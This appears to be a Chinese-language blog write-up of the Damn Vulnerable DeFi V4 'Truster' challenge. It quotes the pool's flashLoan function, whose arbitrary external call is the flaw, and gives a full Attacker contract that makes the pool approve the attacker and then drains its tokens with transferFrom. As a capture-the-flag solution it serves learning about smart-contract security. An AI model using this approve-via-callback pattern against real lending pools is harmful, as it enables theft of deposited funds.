Hello World

Damn-vulnerable-defi-V4-solution(Truster)

一、Truster

我们有一个具有闪电贷功能的借贷池,目标是实现将其所有代币转移到recover 账户。

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore) {
            revert RepayFailed();
        }

        return true;
    }

闪电贷需要强制返还代币,否则,它将revert RepayFailed()

但是,我们不需要从池中借入任何资金。对于 ERC20 代币,转移代币的一种方法是调用token.transfer,它会将代币从 msg.sender转移到接收者。但还有另一种方法:token.approve,它会为已批准的账户分配限额,允许其将已批准的金额转移到任何账户。

我们需要做的只是简单地调用token.approve(attacker, balance),以便在闪电贷结束后,作为攻击者,我们可以使用token.transferFrom将借贷池中的余额转移到恢复账户。

攻击逻辑

请注意,此挑战只允许进行一笔交易(即改变区块链状态的操作)。因此,我们可以部署另一个合约,在其构造函数中执行我们的攻击。

构建一个 Attacker 合约

contract Attacker {
    constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery) {
        uint256 amount = 1_000_000e18;
        bytes memory data = abi.encodeCall(token.approve, (address(this), amount));
        pool.flashLoan(0, address(this), address(token), data);
        token.transferFrom(address(pool), recovery, amount);
    }
}

然后构造 Attacker 合约

  function test_truster() public checkSolvedByPlayer {
        new Attacker(token, pool, recovery);
    }
设计上的问题

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »